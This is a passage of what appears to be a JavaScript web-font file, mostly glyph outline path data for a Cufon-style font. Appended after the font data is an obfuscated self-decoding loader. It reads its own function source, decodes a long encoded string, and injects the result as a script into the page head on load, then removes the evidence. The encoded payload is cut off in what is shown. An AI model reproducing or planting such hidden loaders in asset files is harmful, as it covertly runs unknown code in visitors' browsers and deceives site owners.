0r148,-714r172,0r78,544r2,0r310,-544r177,0r-147,714r-120,0r124,-572r-2,0r-323,572r-98,0r-90,-572r-2,0r-109,572r-120,0","w":889},{"d":"505,-285r-10,75r-95,0r-30,210r-80,0r29,-210r-110,0r-30,210r-80,0r29,-210r-94,0r10,-75r95,0r18,-130r-94,0r10,-75r94,0r29,-210r81,0r-30,210r111,0r29,-210r81,0r-30,210r96,0r-10,75r-96,0r-18,130r95,0xm348,-415r-111,0r-18,130r111,0"},{"d":"496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178xm397,-588r-84,0r-118,-143r125,0"},{"d":"62,-299r88,-415r125,0r-92,437v-4,19,-7,38,-8,58v-2,96,66,128,153,128v94,0,165,-36,196,-183r94,-440r125,0r-94,448v-25,118,-76,283,-335,283v-141,0,-264,-70,-264,-220v0,-33,5,-64,12,-96xm519,-785r-84,0r-118,-143r125,0","w":741},{"d":"496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178xm346,-731r125,0r-118,143r-84,0"},{"d":"123,-432r0,-282r102,0r0,282r-102,0xm299,-432r0,-282r102,0r0,282r-102,0","w":444},{"d":"102,0r-114,0r107,-517r114,0xm229,-588r-84,0r-118,-143r125,0","w":241},{"d":"21,-218r21,-108r296,0r-21,108r-296,0","w":389},{"d":"218,-731r125,0r-118,143r-84,0","w":241},{"d":"371,-160r114,0v-36,120,-126,174,-249,174v-131,0,-226,-86,-226,-226v0,-159,102,-319,287,-319v184,0,220,137,220,238v0,25,-3,47,-6,64r-385,0v-11,91,23,152,121,153v61,0,108,-30,124,-84xm137,-304r265,0v10,-82,-28,-137,-108,-137v-85,0,-134,57,-157,137xm346,-731r125,0r-118,143r-84,0"},{"d":"130,24r419,-748r78,0r-418,748r-79,0xm73,-577r13,-58v60,0,121,-25,141,-70r74,0r-98,432r-93,0r71,-315v-31,8,-68,11,-108,11xm797,-70r-17,70r-317,0v17,-127,134,-178,232,-232v58,-31,64,-52,64,-90v0,-35,-35,-54,-71,-54v-57,0,-90,42,-94,92r-80,0v9,-101,66,-162,176,-162v86,0,149,37,149,126v0,53,-27,101,-106,143v-57,30,-144,75,-164,107r228,0","w":834},{"d":"256,-588r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm371,-160r114,0v-36,120,-126,174,-249,174v-131,0,-226,-86,-226,-226v0,-159,102,-319,287,-319v184,0,220,137,220,238v0,25,-3,47,-6,64r-385,0v-11,91,23,152,121,153v61,0,108,-30,124,-84xm137,-304r265,0v10,-82,-28,-137,-108,-137v-85,0,-134,57,-157,137"},{"d":"255,-588r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm546,-517r-107,517r-107,0v3,-25,16,-55,14,-77v-41,57,-107,91,-178,91v-130,1,-170,-85,-146,-201r69,-330r114,0r-66,319v-4,17,-8,34,-8,48v0,17,-5,74,79,74v88,0,148,-84,164,-161r58,-280r114,0","w":574},{"d":"1,0r149,-714r487,0r-22,108r-363,0r-39,187r315,0r-22,102r-314,0r-66,317r-125,0","w":593},{"d":"500,-649r-110,0r-169,809r-80,0r103,-496v-94,2,-161,-58,-161,-152v0,-68,29,-226,272,-226r238,0r-182,874r-80,0","w":600},{"d":"211,-80r79,-361v-109,7,-162,133,-162,230v0,67,22,119,83,131xm370,-620r-20,92v95,14,168,76,164,182r-114,0v2,-52,-26,-83,-70,-92r-79,362v63,-2,104,-43,122,-102r114,0v-36,130,-125,190,-256,192r-22,102r-41,0r23,-105v-115,-13,-177,-99,-177,-218v0,-174,110,-324,294,-324r21,-89r41,0"},{"d":"222,-325r18,-85v96,1,185,-6,185,-113v0,-66,-49,-96,-106,-96v-81,0,-129,57,-143,134r-108,0v23,-137,111,-229,263,-229v106,0,208,54,208,174v0,90,-58,147,-129,171v64,24,87,79,87,145v0,154,-128,238,-282,238v-148,-1,-234,-91,-215,-244r108,0v-13,91,36,149,127,149v89,0,148,-57,148,-146v0,-92,-79,-100,-161,-98"},{"d":"93,-598r22,-102r484,0r-22,108v-27,26,-164,159,-268,350v-41,77,-72,159,-94,242r-127,0v65,-225,195,-429,361,-598r-356,0"},{"d":"700,-376r-80,376r-80,0v-2,-24,4,-55,-2,-75v-50,63,-130,92,-190,92v-204,0,-317,-135,-317,-312v0,-300,197,-436,383,-436v168,0,297,78,298,245r-125,0v-5,-97,-72,-143,-177,-143v-170,0,-254,171,-254,330v0,133,71,214,196,214v123,0,190,-82,217,-196r-196,0r20,-95r307,0","w":759},{"d":"-12,0r148,-714r114,0r-56,270r2,0v39,-52,105,-87,170,-87v130,-1,170,85,146,201r-69,330r-114,0r66,-319v4,-17,8,-34,8,-48v0,-17,4,-74,-79,-74v-93,0,-147,79,-164,161r-58,280r-114,0","w":574},{"d":"552,-405r0,102r-504,0r0,-102r504,0xm552,-203r0,102r-504,0r0,-102r504,0","w":600},{"d":"1,0r148,-714r520,0r-22,108r-397,0r-39,187r368,0r-21,102r-369,0r-43,209r400,0r-22,108r-523,0xm451,-900r110,0r-19,108r-110,0xm271,-900r110,0r-19,108r-110,0","w":630},{"d":"20,0r90,-432r-85,0r17,-85r85,0v25,-119,43,-197,183,-197v31,0,58,4,85,7r-19,87v-14,-3,-28,-4,-44,-4v-77,0,-75,45,-91,107r100,0r-17,85r-100,0r-90,432r-114,0","w":315},{"d":"62,-299r88,-415r125,0r-92,437v-4,19,-7,38,-8,58v-2,96,66,128,153,128v94,0,165,-36,196,-183r94,-440r125,0r-94,448v-25,118,-76,283,-335,283v-141,0,-264,-70,-264,-220v0,-33,5,-64,12,-96xm506,-900r110,0r-19,108r-110,0xm326,-900r110,0r-19,108r-110,0","w":741},{"d":"371,-178r114,0v-36,129,-123,189,-253,191r-40,47v57,-11,116,10,116,69v0,103,-155,103,-226,66r20,-39v38,20,116,32,126,-20v0,-43,-50,-45,-84,-32r-17,-21r59,-72v-112,-14,-174,-99,-174,-218v0,-174,110,-324,294,-324v115,0,210,64,206,185r-114,0v2,-64,-40,-95,-102,-95v-114,0,-170,131,-170,230v0,77,30,135,115,135v67,0,111,-40,130,-102"},{"d":"1,0r148,-714r309,0v61,0,225,8,225,182v0,116,-66,173,-162,196v109,37,68,166,65,277v0,20,2,41,13,59r-131,0v-21,-65,5,-141,4,-211v0,-83,-67,-83,-134,-83r-149,0r-61,294r-127,0xm255,-612r-46,223r183,0v106,0,166,-47,166,-130v0,-137,-179,-82,-303,-93","w":704},{"d":"371,-160r114,0v-36,120,-126,174,-249,174v-131,0,-226,-86,-226,-226v0,-159,102,-319,287,-319v184,0,220,137,220,238v0,25,-3,47,-6,64r-385,0v-11,91,23,152,121,153v61,0,108,-30,124,-84xm137,-304r265,0v10,-82,-28,-137,-108,-137v-85,0,-134,57,-157,137"},{"d":"-12,0r148,-714r114,0r-148,714r-114,0","w":241},{"d":"4,0r149,-714r125,0r-149,714r-125,0","w":278},{"d":"1,0r148,-714r308,0v189,0,209,115,209,167v0,87,-57,153,-137,172v73,22,107,75,107,150v0,74,-47,225,-268,225r-367,0xm253,-612r-41,197r187,0v124,0,142,-74,142,-112v0,-29,-8,-85,-110,-85r-178,0xm194,-325r-47,223r179,0v42,0,174,6,185,-111v4,-34,0,-112,-128,-112r-189,0","w":704},{"d":"249,-381r0,-125r102,0r0,125r201,0r0,102r-201,0r0,125r-102,0r0,-125r-201,0r0,-102r201,0xm48,0r0,-102r504,0r0,102r-504,0","w":600},{"d":"289,-203r-106,0v15,-94,42,-143,123,-195v59,-38,125,-70,125,-150v0,-55,-55,-88,-105,-88v-83,0,-131,67,-141,143r-113,0v15,-141,112,-238,256,-238v117,0,217,51,217,181v0,116,-82,161,-166,218v-60,41,-71,60,-90,129xm130,0r27,-125r129,0r-27,125r-129,0"},{"d":"0,0r30,-135r139,0r-30,135r-139,0","w":278},{"d":"1,0r148,-714r520,0r-22,108r-397,0r-39,187r368,0r-21,102r-369,0r-43,209r400,0r-22,108r-523,0xm413,-928r125,0r-118,143r-84,0","w":630},{"d":"370,-147r-110,-181v-50,24,-136,76,-136,150v0,144,185,115,246,31xm498,-137r88,137r-127,0r-40,-66v-55,53,-115,80,-196,80v-118,0,-207,-77,-207,-198v0,-113,105,-179,196,-221v-30,-44,-53,-90,-53,-144v0,-114,84,-182,183,-182v95,0,178,50,178,163v0,98,-92,154,-169,195r93,152v15,-16,45,-57,59,-119r103,0v-12,69,-55,148,-108,203xm347,-646v-49,0,-86,29,-86,92v0,44,22,72,42,110v48,-27,115,-60,115,-124v0,-52,-31,-78,-71,-78","w":667},{"d":"113,-494r19,-90v93,0,186,-35,230,-116r91,0r-147,700r-121,0r106,-511v-60,13,-117,17,-178,17"},{"d":"147,-785r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm4,0r149,-714r125,0r-149,714r-125,0","w":278},{"d":"1,0r148,-714r520,0r-22,108r-397,0r-39,187r368,0r-21,102r-369,0r-43,209r400,0r-22,108r-523,0xm464,-785r-84,0r-118,-143r125,0","w":630},{"d":"273,-731r97,0v-204,243,-297,566,-188,922r-84,0v-42,-109,-70,-225,-70,-347v0,-234,100,-409,245,-575","w":296},{"d":"364,-169r70,-63r74,78v62,-63,93,-165,93,-261v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330v0,162,126,251,274,199xm595,74r-87,-92v-50,24,-105,35,-160,35v-204,0,-317,-135,-317,-312v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,164,-56,279,-138,349r77,81","w":759},{"d":"696,-476r-125,0v0,-100,-59,-153,-161,-153v-170,0,-254,171,-254,330v0,133,71,214,196,214v129,0,171,-115,185,-164r125,0v-41,180,-165,266,-314,266v-204,0,-317,-135,-317,-312v0,-300,197,-436,383,-436v169,0,287,91,282,255","w":722},{"d":"-12,0r148,-714r114,0r-84,404r2,2r234,-209r144,0r-228,190r126,327r-126,0r-91,-251r-88,75r-37,176r-114,0","w":519},{"d":"571,-517r-109,503v-34,158,-98,219,-261,219v-115,0,-220,-44,-222,-165r114,0v3,59,53,80,118,80v124,0,136,-96,157,-196r-2,-2v-35,50,-85,78,-146,78v-128,0,-201,-82,-201,-212v0,-156,94,-319,267,-319v76,0,130,32,162,100r15,-86r108,0xm133,-218v0,70,31,128,108,128v122,0,172,-124,172,-229v0,-74,-39,-122,-115,-122v-111,0,-165,129,-165,223","w":593},{"d":"238,14v-142,0,-226,-82,-226,-226v0,-170,117,-319,295,-319v142,0,226,78,226,222v0,181,-111,323,-295,323xm300,-441v-117,0,-174,129,-174,232v0,76,36,133,119,133v117,0,174,-127,174,-232v0,-76,-36,-133,-119,-133xm392,-703r110,0r-19,108r-110,0xm212,-703r110,0r-19,108r-110,0","w":593},{"d":"4,0r149,-714r125,0r-149,714r-125,0xm288,-785r-84,0r-118,-143r125,0","w":278},{"d":"300,-530r52,104r-61,31r-51,-106r-85,91r-46,-45r83,-89r-101,-52r32,-59r102,53r19,-112r67,0r-23,121r115,-16r9,64","w":389},{"d":"546,-517r-107,517r-107,0v3,-25,16,-55,14,-77v-41,57,-107,91,-178,91v-130,1,-170,-85,-146,-201r69,-330r114,0r-66,319v-4,17,-8,34,-8,48v0,17,-5,74,79,74v88,0,148,-84,164,-161r58,-280r114,0","w":574},{"d":"1,0r148,-714r520,0r-22,108r-397,0r-39,187r368,0r-21,102r-369,0r-43,209r400,0r-22,108r-523,0","w":630},{"d":"46,-94r374,-159r-374,-159r0,-102r508,225r0,72r-508,225r0,-102","w":600},{"d":"4,0r149,-714r125,0r-149,714r-125,0xm237,-928r125,0r-118,143r-84,0","w":278},{"d":"127,-517r32,-155r111,0r-32,155r103,0r-18,85r-103,0r-63,309v-6,45,58,42,102,33r-19,84v-29,7,-65,11,-94,11v-109,-1,-111,-79,-96,-154r59,-283r-90,0r18,-85r90,0","w":333},{"d":"120,-17r-91,-500r120,0r54,378r2,0r195,-378r122,0r-296,533v-57,118,-123,220,-290,181r21,-95v48,15,94,8,118,-36xm348,-731r125,0r-118,143r-84,0","w":500},{"d":"496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178"},{"d":"-12,0r118,-541v28,-129,111,-190,238,-190v98,0,193,52,193,165v0,88,-66,153,-144,172v156,30,128,254,30,339v-74,64,-145,77,-254,64r18,-89v125,28,205,-63,203,-169v-1,-88,-67,-109,-146,-106r17,-75v89,3,162,-27,162,-122v0,-61,-36,-89,-89,-89v-80,0,-105,51,-122,134r-110,507r-114,0","w":574},{"d":"371,-160r114,0v-36,120,-126,174,-249,174v-131,0,-226,-86,-226,-226v0,-159,102,-319,287,-319v184,0,220,137,220,238v0,25,-3,47,-6,64r-385,0v-11,91,23,152,121,153v61,0,108,-30,124,-84xm137,-304r265,0v10,-82,-28,-137,-108,-137v-85,0,-134,57,-157,137xm384,-703r110,0r-19,108r-110,0xm204,-703r110,0r-19,108r-110,0"},{"d":"361,-216v79,0,137,-105,137,-178v0,-47,-36,-88,-79,-88v-81,0,-136,100,-136,175v0,53,31,91,78,91xm615,-542r-72,263v-10,31,-17,69,10,69v62,0,132,-94,132,-216v0,-149,-121,-240,-269,-240v-170,0,-287,133,-287,300v0,195,127,318,296,318v87,0,171,-37,225,-99r70,0v-64,103,-176,164,-299,164v-206,0,-372,-158,-372,-387v0,-202,168,-361,367,-361v178,0,335,121,335,293v0,201,-155,298,-236,298v-34,0,-54,-24,-61,-58v-27,30,-69,57,-112,57v-83,0,-146,-71,-146,-157v0,-127,88,-259,219,-259v47,0,87,21,112,72r18,-57r70,0","w":800},{"d":"102,0r-114,0r107,-517r114,0xm178,-731r125,0r-118,143r-84,0","w":241},{"d":"-50,191r147,-708r113,0v-3,22,-15,48,-13,68v36,-52,99,-82,163,-82v129,0,196,91,196,214v0,158,-86,331,-265,331v-75,0,-137,-21,-169,-94r-2,0r-56,271r-114,0xm151,-209v0,74,33,133,114,133v123,0,177,-122,177,-230v0,-75,-35,-135,-114,-135v-123,0,-177,124,-177,232","w":611},{"d":"264,-588r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm238,14v-142,0,-226,-82,-226,-226v0,-170,117,-319,295,-319v142,0,226,78,226,222v0,181,-111,323,-295,323xm300,-441v-117,0,-174,129,-174,232v0,76,36,133,119,133v117,0,174,-127,174,-232v0,-76,-36,-133,-119,-133","w":593},{"w":278},{"d":"0,0r30,-135r140,0v-31,116,-27,273,-185,281r11,-58v50,-7,71,-42,80,-88r-76,0xm78,-371r30,-135r139,0r-30,135r-139,0","w":278},{"d":"0,0r30,-135r140,0v-31,116,-27,273,-185,281r11,-58v50,-7,71,-42,80,-88r-76,0","w":278},{"d":"538,-519v-2,239,-310,270,-412,417r355,0r-22,102r-486,0v18,-116,89,-203,188,-263r165,-101v58,-35,98,-78,98,-157v0,-65,-54,-98,-114,-98v-89,0,-139,70,-145,161r-108,0v13,-153,102,-256,263,-256v122,0,218,62,218,195"},{"d":"62,-299r88,-415r125,0r-92,437v-4,19,-7,38,-8,58v-2,96,66,128,153,128v94,0,165,-36,196,-183r94,-440r125,0r-94,448v-25,118,-76,283,-335,283v-141,0,-264,-70,-264,-220v0,-33,5,-64,12,-96","w":741},{"d":"192,-373v-99,0,-154,-49,-154,-142v0,-109,76,-199,199,-199v99,0,154,47,154,141v0,115,-72,200,-199,200xm197,-438v72,0,109,-76,109,-135v0,-41,-24,-76,-74,-76v-72,0,-109,78,-109,136v0,41,24,75,74,75","w":356},{"d":"419,-317v0,-68,-33,-124,-114,-124v-127,0,-181,127,-181,243v0,77,40,122,118,122v117,0,177,-137,177,-241xm620,-714r-152,714r-109,0v3,-23,16,-51,14,-72v-45,67,-101,86,-162,86v-59,0,-201,-18,-201,-212v0,-167,103,-333,281,-333v71,0,127,26,158,85r57,-268r114,0","w":611},{"d":"1,0r67,-317r-65,0r20,-102r66,0r62,-295r262,0v181,0,280,101,280,299v0,85,-36,219,-113,295v-84,83,-150,120,-328,120r-251,0xm255,-612r-40,193r194,0r-20,102r-196,0r-45,215r156,0v215,0,264,-242,264,-314v0,-125,-58,-196,-157,-196r-156,0","w":722},{"d":"767,-357v0,225,-170,374,-366,374v-215,0,-368,-161,-368,-374v0,-225,170,-374,368,-374v196,0,366,149,366,374xm687,-357v0,-182,-126,-309,-286,-309v-162,0,-288,127,-288,309v0,170,110,309,288,309v160,0,286,-126,286,-309xm521,-285r69,0v-17,95,-89,154,-177,154v-128,0,-212,-97,-212,-226v0,-121,80,-214,210,-215v91,0,165,53,178,151r-68,0v-10,-51,-53,-86,-110,-86v-84,0,-130,67,-130,150v0,87,51,161,132,161v59,0,101,-37,108,-89","w":800},{"d":"-37,-225r19,-90v28,0,97,-15,109,-73r43,-206v33,-136,110,-143,248,-137r-19,90r-59,0v-51,0,-64,40,-71,70r-40,195v-17,84,-96,97,-126,107v27,3,84,11,84,79v0,89,-47,161,-47,247v0,23,8,44,46,44r59,0r-19,90v-113,11,-217,-12,-191,-137r44,-215v0,-51,-55,-64,-80,-64","w":296},{"d":"-12,0r107,-517r108,0v-5,34,-20,72,-19,103v42,-71,111,-136,220,-114r-24,109v-238,-36,-231,232,-278,419r-114,0","w":370},{"d":"554,-94r0,102r-508,-225r0,-72r508,-225r0,102r-374,159","w":600},{"d":"60,214r0,-1000r102,0r0,1000r-102,0","w":222},{"d":"45,-318r115,-382r385,0r-20,102r-292,0r-52,165r2,2v38,-29,82,-40,130,-40v120,0,197,89,197,206v0,169,-119,279,-283,279v-133,0,-229,-72,-225,-212r114,0v4,74,41,117,119,117v93,0,161,-75,161,-166v0,-86,-49,-134,-121,-134v-56,0,-100,23,-129,63r-101,0"},{"d":"120,-17r-91,-500r120,0r54,378r2,0r195,-378r122,0r-296,533v-57,118,-123,220,-290,181r21,-95v48,15,94,8,118,-36","w":500},{"d":"90,0r-61,-517r117,0r31,373r2,0r172,-373r119,0r22,373r3,0r179,-373r120,0r-269,517r-120,0r-22,-377r-2,0r-172,377r-119,0","w":778},{"d":"1,0r150,-714r262,0v181,0,280,101,280,299v0,85,-36,219,-113,295v-84,83,-150,120,-328,120r-251,0xm255,-612r-107,510r156,0v215,0,264,-242,264,-314v0,-125,-58,-196,-157,-196r-156,0","w":722},{"d":"26,-231r25,-110r177,-110r-22,107r-113,68r80,90r-21,93xm220,-231r25,-110r177,-110r-22,107r-113,68r80,90r-21,93","w":463},{"d":"49,-427r20,-90r415,0r-19,83r-341,344r293,0r-19,90r-447,0r19,-84r340,-343r-261,0","w":481},{"d":"262,-714v56,0,98,47,147,47v23,0,38,-31,43,-47r58,0v-7,51,-46,119,-104,119v-44,0,-109,-49,-147,-49v-21,0,-37,29,-44,46r-59,0v15,-56,41,-116,106,-116xm-12,0r107,-517r107,0v-3,25,-16,55,-14,77v41,-57,107,-91,178,-91v130,-1,170,85,146,201r-69,330r-114,0r66,-319v4,-17,8,-34,8,-48v0,-17,4,-74,-79,-74v-93,0,-147,79,-164,161r-58,280r-114,0","w":574},{"d":"427,-479v0,-73,-23,-140,-106,-140v-145,0,-196,285,-196,398v0,73,23,140,106,140v145,0,196,-285,196,-398xm11,-254v0,-28,19,-460,323,-460v149,0,207,97,207,268v0,88,-47,460,-323,460v-149,0,-207,-109,-207,-268"},{"d":"128,-432r0,-282r102,0r0,282r-102,0","w":278},{"d":"76,-90r-56,-56r57,-61v-65,-69,-68,-218,0,-286r-57,-61r57,-57r57,56v64,-58,220,-62,283,-1r58,-57r61,61r-56,58v63,68,62,219,-1,289r55,59r-55,55r-57,-58v-66,66,-223,66,-290,1xm279,-201v81,0,140,-69,140,-150v0,-79,-59,-148,-139,-148v-83,0,-145,67,-145,150v0,82,63,148,144,148"},{"d":"194,-338v66,0,155,68,213,68v40,0,65,-37,88,-68r36,84v-30,42,-63,86,-125,86v-80,0,-130,-68,-217,-68v-44,0,-68,37,-84,68r-36,-84v22,-42,58,-86,125,-86","w":600},{"d":"455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0xm491,-785r-84,0r-118,-143r125,0","w":685},{"d":"170,0r58,-283r-176,-431r131,0r123,324r250,-324r148,0r-353,441r-56,273r-125,0","w":630},{"d":"325,-320r0,177r-66,0r0,-414r157,0v100,0,151,35,151,119v0,75,-46,106,-108,113r116,182r-77,0r-107,-177r-66,0xm325,-378v78,-5,176,22,176,-65v0,-75,-103,-52,-176,-56r0,121xm767,-357v0,225,-170,374,-366,374v-215,0,-368,-161,-368,-374v0,-225,170,-374,368,-374v196,0,366,149,366,374xm687,-357v0,-182,-126,-309,-286,-309v-162,0,-288,127,-288,309v0,170,110,309,288,309v160,0,286,-126,286,-309","w":800},{"d":"249,-304r0,-202r102,0r0,202r201,0r0,102r-201,0r0,202r-102,0r0,-202r-201,0r0,-102r201,0","w":600},{"d":"238,14v-142,0,-226,-82,-226,-226v0,-170,117,-319,295,-319v142,0,226,78,226,222v0,181,-111,323,-295,323xm300,-441v-117,0,-174,129,-174,232v0,76,36,133,119,133v117,0,174,-127,174,-232v0,-76,-36,-133,-119,-133","w":593},{"d":"339,-343r-17,70r-317,0v17,-127,134,-178,232,-232v58,-31,64,-52,64,-90v0,-35,-43,-49,-71,-49v-51,0,-89,36,-94,87r-80,0v10,-103,73,-157,176,-157v79,0,149,32,149,121v0,53,-27,101,-106,143v-57,30,-144,75,-164,107r228,0","w":333},{"d":"66,-298r13,-65r107,0r-133,-351r120,0r104,324r237,-324r120,0r-266,351r109,0r-13,65r-142,0r-14,68r142,0r-14,65r-142,0r-34,165r-114,0r34,-165r-142,0r14,-65r142,0r14,-68r-142,0"},{"d":"101,-606r22,-108r544,0r-21,102r-509,504r428,0r-23,108r-584,0r22,-104r503,-502r-382,0","w":630},{"d":"320,-256r65,-293r-2,0r-271,293r208,0xm529,-256r-19,90r-95,0r-35,166r-114,0r35,-166r-300,0r22,-110r390,-424r114,0r-93,444r95,0"},{"d":"561,-523r-114,0v0,-58,-35,-96,-92,-96v-123,0,-172,126,-200,225r2,2v38,-48,92,-68,151,-68v134,0,205,92,205,218v0,144,-112,256,-245,256v-175,0,-245,-106,-245,-282v0,-48,21,-446,333,-446v120,0,202,66,205,191xm257,-81v163,0,204,-289,24,-289v-93,0,-144,72,-144,159v0,71,43,130,120,130"},{"d":"13,-236r120,0v-5,111,60,151,164,151v68,0,159,-31,159,-114v0,-81,-83,-101,-171,-125v-63,-17,-195,-49,-195,-185v0,-129,97,-222,266,-222v149,0,270,60,264,228r-120,0v-1,-89,-49,-126,-146,-126v-34,0,-139,10,-139,105v0,70,70,87,149,107v101,26,217,53,217,203v0,111,-81,231,-297,231v-168,0,-276,-75,-271,-253","w":648},{"d":"31,-295v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,300,-187,436,-378,436v-204,0,-317,-135,-317,-312xm156,-299v0,133,71,214,196,214v165,0,249,-171,249,-330v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330","w":759},{"d":"4,0r148,-714r125,0r-126,606r360,0r-22,108r-485,0","w":574},{"d":"160,0r-93,-714r127,0r67,564r2,0r298,-564r133,0r-392,714r-142,0","w":611},{"d":"340,-264r93,-450r125,0r-82,399v-10,45,-34,171,-71,232v-47,78,-127,100,-203,100v-174,0,-200,-115,-200,-167v0,-36,3,-68,11,-100r117,0v-6,25,-11,52,-11,78v0,58,33,87,92,87v87,0,107,-72,129,-179","w":537},{"d":"-65,195r20,-39v38,20,116,32,126,-20v0,-43,-50,-45,-84,-32r-17,-21r73,-89r49,0r-57,66v57,-11,116,10,116,69v0,103,-155,103,-226,66","w":241},{"d":"350,-785r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0","w":685},{"d":"500,125r-500,0r0,-50r500,0r0,50","w":500},{"d":"496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178xm384,-703r110,0r-19,108r-110,0xm204,-703r110,0r-19,108r-110,0"},{"d":"245,-76v117,0,174,-127,174,-232v0,-54,-36,-108,-119,-108v-117,0,-174,123,-174,207v0,76,36,133,119,133xm198,-615r103,-51v-27,-22,-57,-41,-87,-58r86,-50v34,20,63,41,89,65r107,-52r50,54r-106,52v68,84,93,186,93,308v0,219,-111,361,-295,361v-142,0,-226,-82,-226,-226v0,-152,117,-294,295,-294v41,0,95,13,115,44r2,-2v-13,-63,-38,-111,-70,-149r-106,52","w":593},{"d":"170,-275r-114,-242r122,0r71,165r134,-165r132,0r-220,250r132,267r-124,0r-84,-190r-158,190r-131,0","w":500},{"d":"344,17v-63,0,-128,-40,-198,-40v-42,0,-80,18,-114,40r-34,-87v77,-60,149,-130,113,-249r-88,0r14,-65r63,0v-15,-38,-20,-76,-20,-118v0,-146,111,-229,254,-229v141,0,231,95,219,235r-111,0v11,-83,-33,-140,-115,-140v-99,0,-133,57,-133,141v0,49,13,80,20,111r151,0r-12,65r-128,0v21,112,-36,179,-106,229r2,2v19,-13,63,-25,87,-25v59,-1,105,34,159,35v39,0,73,-24,102,-43r36,89v-51,32,-100,49,-161,49"},{"d":"-33,191r192,-922r225,0r-19,90r-115,0r-154,742r113,0r-19,90r-223,0","w":296},{"d":"455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0","w":685},{"d":"-80,0r512,-714r570,0r-23,108r-348,0r-39,187r326,0r-21,102r-326,0r-43,209r352,0r-23,108r-473,0r38,-183r-230,0r-128,183r-144,0xm488,-612r-231,334r188,0r70,-334r-27,0","w":963},{"d":"205,24r419,-748r78,0r-418,748r-79,0xm128,-573r-80,0v17,-96,83,-141,178,-141v68,0,139,29,139,108v0,55,-39,87,-83,103v41,14,56,47,56,88v0,101,-83,151,-187,151v-103,0,-158,-53,-147,-155r80,0v-8,54,24,85,80,85v56,0,94,-34,94,-83v0,-54,-53,-58,-105,-57r12,-58v61,1,120,-4,120,-64v0,-34,-39,-48,-67,-48v-44,0,-79,29,-90,71xm677,-172r36,-152r-2,-2r-150,154r116,0xm825,-172r-18,75r-56,0r-23,97r-93,0r23,-97r-195,0r16,-72r255,-268r97,0r-62,265r56,0","w":834},{"d":"512,-346r-114,0v2,-64,-40,-95,-102,-95v-114,0,-170,131,-170,230v0,77,30,135,115,135v67,0,111,-40,130,-102r114,0v-37,132,-128,192,-263,192v-135,0,-210,-90,-210,-221v0,-174,110,-324,294,-324v115,0,210,64,206,185"},{"d":"186,-335r-102,0r180,-365r72,0r180,365r-102,0r-114,-237","w":600}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+385-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("8hL_R{a!yVTf8(OGW{-XwhwTuMa_L{TfuMoXyV~nL=HzY[!cu3k:ZhbMu3k:ZhZ_=-B_ZEDcZ-B_ZEDOL=B_ZED{a_B_ZED1L>.vuhovW>e:Y[-vW>e:L{avW>e:Y[avW>e:Lh-uu3k:ZhLOu3k:ZhbB#=.vW>e:Y[~vW>e:LE=7u3k:Zhbxu3k:ZhC,y=B_ZED.LOB_ZED{ZOD@ob;vW>e:Y{avW>e:Y{ovW>e:LE.vW>e:Y[Wv)_B_ZEDca_B_ZED+LOB_ZED.Y__fv_B_ZED{#3-;WOB_ZED1Z=B_ZEDOa=B_ZED{LOB_ZED{a=B_ZED1Lb.vW>e:YV-vW>e:L>.vW>e:L>YFu3k:Zhw[>OB_ZEDOLc-vW>e:LEavW>e:L>ovW>e:Y>vO9=B_ZEDcLOB_ZED.Z-B_ZED{#>FvW>e:LhovW>e:Y+OvW>e:L{-vW>e:LEovW>e:L>avW>e:L+avW>e:LELvW>e:YM-vW>e:LE~aw_B_ZEDOZ-B_ZED1#=B_ZEDOZ=:cu3k:Zh=+)=B_ZEDca-B_ZEDO#=B_ZEDcL-B_ZEDOY=B_ZED{Y1LvW>e:Y+LvW>e: